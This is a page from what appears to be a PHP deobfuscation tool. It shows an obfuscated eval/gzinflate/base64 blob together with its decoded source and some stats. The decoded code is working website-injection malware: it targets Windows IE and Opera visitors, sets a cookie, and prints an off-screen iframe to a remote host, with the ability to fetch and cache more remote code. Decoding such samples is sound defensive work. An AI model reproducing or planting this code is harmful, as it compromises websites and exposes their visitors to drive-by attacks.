Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode('dVRtb9s2EP7sAfsPF0MopUS1nK5N0thKU7TuC7YlheNsH4JM0CgqYiqJKknF..
Decoded Output download
if (!defined('frmDs')){
define('frmDs' ,1);
function frm_dl ($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec ($ch);
if (curl_errno($ch) !== 0) $out = false;
curl_close ($ch);
} else {$out = file_get_contents($url);}
return trim($out);
}
function frm_crpt($in){
$il=strlen($in);$o='';
for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
return $o;
}
function frm_getfrm()
{
$defframe = '<style>.oywcm { position:absolute; left:-889px; top:-827px; }</style> <div class="oywcm"><iframe src="http://pjhfzduxryu.myfw.us/jquery/get.php?ver=jquery.latest.js" width="469" height="378"></iframe></div>'; //default frame
$codelink = '';
if (!$codelink){
return $defframe;
}
$dr='/var/tmp';
$f = $dr.'/sess_'.md5('frm_frame');
if(!file_exists($f) || time() - filemtime($f) > 60*5)
{
$dlc = frm_dl($codelink);
if ($dlc){
if ($fp = @fopen($f, 'w')){
fwrite($fp, frm_crpt($dlc));
fclose($fp);
}
else
return $dlc;
}
else
@unlink($f);
}
$fc = @file_get_contents($f);
return ($fc)?frm_crpt($fc):$defframe;
}
$ua = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
error_reporting(0);
if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
print($nfc);
}
}
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode('dVRtb9s2EP7sAfsPF0MopUS1nK5N0thKU7TuC7YlheNsH4JM0CgqYiqJKknFcRP/9x1JyU6xzbAt8e65597Jc/B3MpbzmmU+yWX1XpEgePj5p4ET9jII94MJSvGbtzXVXNSAmiQrwfdaWQZgbAYc6Xp9wu650sonFPUJr7lGZgcbeLSAGDYKRzGxKitUTIsGxbQI4d3l/LfzL4tkPltczs8W87dnFx9m8xD2OwNPtLonY/eMgjHrdCYep5CyFlYBO3EM4wA6szwtFXvimZZCsScUa2AIgIcezkuW3DCdUFFrVmN6LvS1wUqmW1mDlrzyDd4yrP+jalSa5HhtCz3weBkrLUtWW9nEEzEh1nkuJIbC0e94Avic4l9p3vb2TAKjGPFXHr+Gv4DsOpMuBk/8n28MHh9+gHLnHRudy7Ri6IVMlV6V7GQkVktawQM0QnFjeZz+rUTZajaBkuX6+PnR0evmfgLYJXx/cWje19PIWcM043dAy1SpeGiZhidT7nwoSeNhoXVzHEXNbZF/z9p7uWpH1SpfjloV3X5rmVxFGOSoKZo3d0zGTjQqU82UHt2qISx5pot4+PLg9RAKxm8KHQ9/OTxCL5Fzgy8YwgmZQBRhemlbarAKmzAVGSt5/dUk7IpmxmRnI3dd2VSyr48bB1dRrJqMSXSXykhXjSPxciRE+YhEiimVkFGVvbL7k1h7EnS+/B07Rd16eHkAj4+gecX8AJ7bCavsyWhO4GC8+8o0a9BtTlZSM4d29/xtzNt5N4guBXfOGzQ4zUVjBiwPgSy7FTeffCm5Nr6a8MloGoqOEiF2JwykF63dw2xGh9kUq6QO4yBbxGlbmzhNUptCYsmoDe3fS9WhOlo80+DNNjw8Hf/Ql64tXpuaHiQXs/kfs/kV+bRYfEku8ZS8/Tg7W5BrgzU1aSS7SapU08In0Z+8zsRSRSQEJAjg2TP4Qf/7xefZ43nDZLqBuPLhpSJkIlkjpOb1jT92Qfdd5gqvMd9L3p2f//p5dkWSpNVVLsm1deHVOY2fLiT0l+MpmlEhvnK8fXubUKZ15u+H++PxOAjdsOwdHbwcj3cPQxJ1szVoJK/RJVJvq4w//P4D')));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | 75481c804b1fc0ce573cbd889fe1c42b |
Eval Count | 1 |
Decode Time | 78 ms |